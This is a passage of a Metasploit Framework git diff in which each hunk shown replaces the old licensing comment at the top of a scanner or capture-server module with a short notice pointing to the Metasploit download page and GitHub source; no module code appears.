Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/telnet/telnet_encrypt_overflow.rb b/modules/auxiliary/scanner/telnet/telnet_encrypt_overflow.rb index 9a72057164..328a5694ef 100644 --- a/modules/auxiliary/scanner/telnet/telnet_encrypt_overflow.rb +++ b/modules/auxiliary/scanner/telnet/telnet_encrypt_overflow.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/telnet/telnet_login.rb b/modules/auxiliary/scanner/telnet/telnet_login.rb index 1822edd241..9a86ba1370 100644 --- a/modules/auxiliary/scanner/telnet/telnet_login.rb +++ b/modules/auxiliary/scanner/telnet/telnet_login.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/telnet/telnet_ruggedcom.rb b/modules/auxiliary/scanner/telnet/telnet_ruggedcom.rb index 0167f20559..00ebee2198 100644 --- a/modules/auxiliary/scanner/telnet/telnet_ruggedcom.rb +++ b/modules/auxiliary/scanner/telnet/telnet_ruggedcom.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/auxiliary/scanner/telnet/telnet_version.rb b/modules/auxiliary/scanner/telnet/telnet_version.rb index ad73d503c7..8cd04297a0 100644 --- a/modules/auxiliary/scanner/telnet/telnet_version.rb +++ b/modules/auxiliary/scanner/telnet/telnet_version.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp.rb b/modules/auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp.rb index ffe12e1b65..adc48e48aa 100644 --- a/modules/auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp.rb +++ b/modules/auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/tftp/netdecision_tftp.rb b/modules/auxiliary/scanner/tftp/netdecision_tftp.rb index fa6244c9f7..7e49286315 100644 --- a/modules/auxiliary/scanner/tftp/netdecision_tftp.rb +++ b/modules/auxiliary/scanner/tftp/netdecision_tftp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/tftp/tftpbrute.rb b/modules/auxiliary/scanner/tftp/tftpbrute.rb index ca4360e436..2ff6d344f5 100644 --- a/modules/auxiliary/scanner/tftp/tftpbrute.rb +++ b/modules/auxiliary/scanner/tftp/tftpbrute.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/upnp/ssdp_msearch.rb b/modules/auxiliary/scanner/upnp/ssdp_msearch.rb index 39cf9e0377..a84bd3e6b3 100644 --- a/modules/auxiliary/scanner/upnp/ssdp_msearch.rb +++ b/modules/auxiliary/scanner/upnp/ssdp_msearch.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/vmware/esx_fingerprint.rb b/modules/auxiliary/scanner/vmware/esx_fingerprint.rb index de5208b18c..1aa553b135 100644 --- a/modules/auxiliary/scanner/vmware/esx_fingerprint.rb +++ b/modules/auxiliary/scanner/vmware/esx_fingerprint.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/vmware/vmauthd_login.rb b/modules/auxiliary/scanner/vmware/vmauthd_login.rb index bc7eddcb0f..be29c48519 100644 --- a/modules/auxiliary/scanner/vmware/vmauthd_login.rb +++ b/modules/auxiliary/scanner/vmware/vmauthd_login.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/exploit/tcp' diff --git a/modules/auxiliary/scanner/vmware/vmauthd_version.rb b/modules/auxiliary/scanner/vmware/vmauthd_version.rb index d1e3ea645a..8215ff2ce1 100644 --- a/modules/auxiliary/scanner/vmware/vmauthd_version.rb +++ b/modules/auxiliary/scanner/vmware/vmauthd_version.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/exploit/tcp' diff --git a/modules/auxiliary/scanner/vmware/vmware_enum_permissions.rb b/modules/auxiliary/scanner/vmware/vmware_enum_permissions.rb index ef8666c1d2..a18d642cd6 100644 --- a/modules/auxiliary/scanner/vmware/vmware_enum_permissions.rb +++ b/modules/auxiliary/scanner/vmware/vmware_enum_permissions.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/vmware/vmware_enum_sessions.rb b/modules/auxiliary/scanner/vmware/vmware_enum_sessions.rb index c9a6107cd0..08da04199c 100644 --- a/modules/auxiliary/scanner/vmware/vmware_enum_sessions.rb +++ b/modules/auxiliary/scanner/vmware/vmware_enum_sessions.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/vmware/vmware_enum_users.rb b/modules/auxiliary/scanner/vmware/vmware_enum_users.rb index 584ce1d454..7c9ba8dcae 100644 --- a/modules/auxiliary/scanner/vmware/vmware_enum_users.rb +++ b/modules/auxiliary/scanner/vmware/vmware_enum_users.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/vmware/vmware_enum_vms.rb b/modules/auxiliary/scanner/vmware/vmware_enum_vms.rb index 49c704afb4..3eec842da7 100644 --- a/modules/auxiliary/scanner/vmware/vmware_enum_vms.rb +++ b/modules/auxiliary/scanner/vmware/vmware_enum_vms.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/vmware/vmware_host_details.rb b/modules/auxiliary/scanner/vmware/vmware_host_details.rb index a26c2404eb..d9bfbcfebc 100644 --- a/modules/auxiliary/scanner/vmware/vmware_host_details.rb +++ b/modules/auxiliary/scanner/vmware/vmware_host_details.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/vmware/vmware_http_login.rb b/modules/auxiliary/scanner/vmware/vmware_http_login.rb index 73ab4b993e..95776f3900 100644 --- a/modules/auxiliary/scanner/vmware/vmware_http_login.rb +++ b/modules/auxiliary/scanner/vmware/vmware_http_login.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/vmware/vmware_screenshot_stealer.rb b/modules/auxiliary/scanner/vmware/vmware_screenshot_stealer.rb index 4725523b72..9c037550bd 100644 --- a/modules/auxiliary/scanner/vmware/vmware_screenshot_stealer.rb +++ b/modules/auxiliary/scanner/vmware/vmware_screenshot_stealer.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/vnc/vnc_login.rb b/modules/auxiliary/scanner/vnc/vnc_login.rb index 3bff762cf8..1340702f4f 100644 --- a/modules/auxiliary/scanner/vnc/vnc_login.rb +++ b/modules/auxiliary/scanner/vnc/vnc_login.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/vnc/vnc_none_auth.rb b/modules/auxiliary/scanner/vnc/vnc_none_auth.rb index 7664213990..8740f3db8e 100644 --- a/modules/auxiliary/scanner/vnc/vnc_none_auth.rb +++ b/modules/auxiliary/scanner/vnc/vnc_none_auth.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/voice/recorder.rb b/modules/auxiliary/scanner/voice/recorder.rb index 0b2c713b77..5a79f9100e 100644 --- a/modules/auxiliary/scanner/voice/recorder.rb +++ b/modules/auxiliary/scanner/voice/recorder.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/vxworks/wdbrpc_bootline.rb b/modules/auxiliary/scanner/vxworks/wdbrpc_bootline.rb index 0688456581..9d3d68d88d 100644 --- a/modules/auxiliary/scanner/vxworks/wdbrpc_bootline.rb +++ b/modules/auxiliary/scanner/vxworks/wdbrpc_bootline.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/vxworks/wdbrpc_version.rb b/modules/auxiliary/scanner/vxworks/wdbrpc_version.rb index 01c0263076..7b7d17a14d 100644 --- a/modules/auxiliary/scanner/vxworks/wdbrpc_version.rb +++ b/modules/auxiliary/scanner/vxworks/wdbrpc_version.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/winrm/winrm_auth_methods.rb b/modules/auxiliary/scanner/winrm/winrm_auth_methods.rb index 85aacd1c0a..8b7e1f69c7 100644 --- a/modules/auxiliary/scanner/winrm/winrm_auth_methods.rb +++ b/modules/auxiliary/scanner/winrm/winrm_auth_methods.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/winrm/winrm_cmd.rb b/modules/auxiliary/scanner/winrm/winrm_cmd.rb index 44bc77c1c9..1cac67a0bb 100644 --- a/modules/auxiliary/scanner/winrm/winrm_cmd.rb +++ b/modules/auxiliary/scanner/winrm/winrm_cmd.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/winrm/winrm_login.rb b/modules/auxiliary/scanner/winrm/winrm_login.rb index 6e6edf4228..5c8dfe1f83 100644 --- a/modules/auxiliary/scanner/winrm/winrm_login.rb +++ b/modules/auxiliary/scanner/winrm/winrm_login.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/winrm/winrm_wql.rb b/modules/auxiliary/scanner/winrm/winrm_wql.rb index f50f871bf9..07483bdc62 100644 --- a/modules/auxiliary/scanner/winrm/winrm_wql.rb +++ b/modules/auxiliary/scanner/winrm/winrm_wql.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/x11/open_x11.rb b/modules/auxiliary/scanner/x11/open_x11.rb index aab6d78e73..42440a052b 100644 --- a/modules/auxiliary/scanner/x11/open_x11.rb +++ b/modules/auxiliary/scanner/x11/open_x11.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/server/browser_autopwn.rb b/modules/auxiliary/server/browser_autopwn.rb index 51ebcb062b..05c0a5067e 100644 --- a/modules/auxiliary/server/browser_autopwn.rb +++ b/modules/auxiliary/server/browser_autopwn.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## # ideas: diff --git a/modules/auxiliary/server/capture/drda.rb b/modules/auxiliary/server/capture/drda.rb index e1c64399bd..b3822f30b8 100644 --- a/modules/auxiliary/server/capture/drda.rb +++ b/modules/auxiliary/server/capture/drda.rb @@ -1,10 +1,8 @@ # -*- coding: binary -*- ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/server/capture/ftp.rb b/modules/auxiliary/server/capture/ftp.rb index 460ee1136c..2bb07336ae 100644 --- a/modules/auxiliary/server/capture/ftp.rb +++ b/modules/auxiliary/server/capture/ftp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/server/capture/http.rb b/modules/auxiliary/server/capture/http.rb index ad6e1d6dc9..b9e9bf0b5b 100644 --- a/modules/auxiliary/server/capture/http.rb +++ b/modules/auxiliary/server/capture/http.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/capture/http_basic.rb b/modules/auxiliary/server/capture/http_basic.rb index a5ae7ab14b..284be02433 100644 --- a/modules/auxiliary/server/capture/http_basic.rb +++ b/modules/auxiliary/server/capture/http_basic.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/auxiliary/server/capture/http_javascript_keylogger.rb b/modules/auxiliary/server/capture/http_javascript_keylogger.rb index 8d9df73dd3..fcf16d152b 100644 --- a/modules/auxiliary/server/capture/http_javascript_keylogger.rb +++ b/modules/auxiliary/server/capture/http_javascript_keylogger.rb @@ -1,7 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # http://metasploit.com ## diff --git a/modules/auxiliary/server/capture/http_ntlm.rb b/modules/auxiliary/server/capture/http_ntlm.rb index 0c94028500..45e8a25bae 100644 --- a/modules/auxiliary/server/capture/http_ntlm.rb +++ b/modules/auxiliary/server/capture/http_ntlm.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/server/capture/imap.rb b/modules/auxiliary/server/capture/imap.rb index 3431d494bc..0600f1a51b 100644 --- a/modules/auxiliary/server/capture/imap.rb +++ b/modules/auxiliary/server/capture/imap.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/capture/mssql.rb b/modules/auxiliary/server/capture/mssql.rb index 169d67ffe5..bdcd8542fd 100644 --- a/modules/auxiliary/server/capture/mssql.rb +++ b/modules/auxiliary/server/capture/mssql.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/server/capture/mysql.rb b/modules/auxiliary/server/capture/mysql.rb index 275aa448a8..24c8b08f4b 100644 --- a/modules/auxiliary/server/capture/mysql.rb +++ b/modules/auxiliary/server/capture/mysql.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/server/capture/pop3.rb b/modules/auxiliary/server/capture/pop3.rb index 64c4cf4b9d..0dc8e239cd 100644 --- a/modules/auxiliary/server/capture/pop3.rb +++ b/modules/auxiliary/server/capture/pop3.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/capture/postgresql.rb b/modules/auxiliary/server/capture/postgresql.rb index ea7c814307..a726bfe2af 100644 --- a/modules/auxiliary/server/capture/postgresql.rb +++ b/modules/auxiliary/server/capture/postgresql.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/server/capture/printjob_capture.rb b/modules/auxiliary/server/capture/printjob_capture.rb index 37ca89be8b..f0739335af 100644 --- a/modules/auxiliary/server/capture/printjob_capture.rb +++ b/modules/auxiliary/server/capture/printjob_capture.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/server/capture/sip.rb b/modules/auxiliary/server/capture/sip.rb index a339033515..3f61aaa865 100644 --- a/modules/auxiliary/server/capture/sip.rb +++ b/modules/auxiliary/server/capture/sip.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/server/capture/smb.rb b/modules/auxiliary/server/capture/smb.rb index bfd9ab1918..d340a28d59 100644 --- a/modules/auxiliary/server/capture/smb.rb +++ b/modules/auxiliary/server/capture/smb.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/capture/smtp.rb b/modules/auxiliary/server/capture/smtp.rb index bc08ea1aa8..44c864b4f0 100644 --- a/modules/auxiliary/server/capture/smtp.rb +++ b/modules/auxiliary/server/capture/smtp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/capture/telnet.rb b/modules/auxiliary/server/capture/telnet.rb index 6f7aca0491..c0cb1b1dc2 100644 --- a/modules/auxiliary/server/capture/telnet.rb +++ b/modules/auxiliary/server/capture/telnet.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/server/capture/vnc.rb b/modules/auxiliary/server/capture/vnc.rb index e16939eb54..cf55c77f0e 100644 --- a/modules/auxiliary/server/capture/vnc.rb +++ b/modules/auxiliary/server/capture/vnc.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/server/dhcp.rb b/modules/auxiliary/server/dhcp.rb index e788d5e4a2..d6de6f90df 100644 --- a/modules/auxiliary/server/dhcp.rb +++ b/modules/auxiliary/server/dhcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/server/dns/spoofhelper.rb b/modules/auxiliary/server/dns/spoofhelper.rb index 8bb2bbc0d2..ea8643a9f5 100644 --- a/modules/auxiliary/server/dns/spoofhelper.rb +++ b/modules/auxiliary/server/dns/spoofhelper.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/fakedns.rb b/modules/auxiliary/server/fakedns.rb index 69858c47e1..f61fa4b607 100644 --- a/modules/auxiliary/server/fakedns.rb +++ b/modules/auxiliary/server/fakedns.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/ftp.rb b/modules/auxiliary/server/ftp.rb index 1574be9359..a365154600 100644 --- a/modules/auxiliary/server/ftp.rb +++ b/modules/auxiliary/server/ftp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/http_ntlmrelay.rb b/modules/auxiliary/server/http_ntlmrelay.rb index a070d7b7d7..031f532bbe 100644 --- a/modules/auxiliary/server/http_ntlmrelay.rb +++ b/modules/auxiliary/server/http_ntlmrelay.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/auxiliary/server/icmp_exfil.rb b/modules/auxiliary/server/icmp_exfil.rb index 795b429911..df7ef7a44f 100644 --- a/modules/auxiliary/server/icmp_exfil.rb +++ b/modules/auxiliary/server/icmp_exfil.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/server/pxexploit.rb b/modules/auxiliary/server/pxexploit.rb index 1b556b1240..8570da9da4 100644 --- a/modules/auxiliary/server/pxexploit.rb +++ b/modules/auxiliary/server/pxexploit.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/server/socks4a.rb b/modules/auxiliary/server/socks4a.rb index 93a60bec24..f70e2032f3 100644 --- a/modules/auxiliary/server/socks4a.rb +++ 